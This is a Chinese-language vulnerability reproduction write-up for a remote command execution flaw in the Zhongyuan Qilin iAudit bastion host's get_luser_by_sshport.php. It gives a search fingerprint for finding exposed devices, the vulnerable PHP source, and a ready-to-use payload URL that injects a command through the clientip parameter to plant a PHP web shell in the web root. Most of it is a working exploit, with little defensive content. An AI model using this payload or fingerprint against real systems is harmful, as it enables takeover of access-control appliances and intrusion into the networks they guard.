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63 lines
1.5 KiB
Markdown
63 lines
1.5 KiB
Markdown
# 中远麒麟 iAudit堡垒机 get_luser_by_sshport.php 远程命令执行漏洞
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## 漏洞描述
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中远麒麟 iAudit堡垒机 get_luser_by_sshport.php文件存在命令拼接，攻击者通过漏洞可获取服务器权限
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## 漏洞影响
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```
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中远麒麟 iAudit堡垒机
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```
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## 网络测绘
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```
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cert.subject="Baolei"
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```
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## 漏洞复现
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登录页面如下
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出现漏洞的文件为 get_luser_by_sshport.php
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```
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<?php
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define('CAN_RUN', 1);
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require_once('include/global.func.php');
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require_once('include/db_connect.inc.php');
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if(empty($_GET['clientip'])){
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echo 'no host';
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return;
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}
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if(empty($_GET['clientport'])){
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echo 'no port';
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return;
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}
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$cmd = 'sudo perl test.pl '.$_GET['clientip'].' '.$_GET['clientport'];
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exec($cmd, $o, $r);
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$sql = "SELECT luser FROM sessions WHERE addr='".$_GET['clientip']."' and pid='".$o[0]."' order by sid desc limit 1";
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$rs = mysql_query($sql);
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$row = mysql_fetch_array($rs);
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echo $row['luser'];
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?>
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```
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其中 clientip存在命令拼接 使用 ; 分割命令就可以执行任意命令
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Web目录默认为 `/opt/freesvr/web/htdocs/freesvr/audit/`
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发送Payload
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```
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https://xxx.xxx.xxx.xxx/get_luser_by_sshport.php?clientip=1;echo+%27%3C?php%20var_dump(shell_exec($_GET[cmd]));?%3E%27%3E/opt/freesvr/web/htdocs/freesvr/audit/test.php;&clientport=1
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```
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再访问写入的文件执行命令
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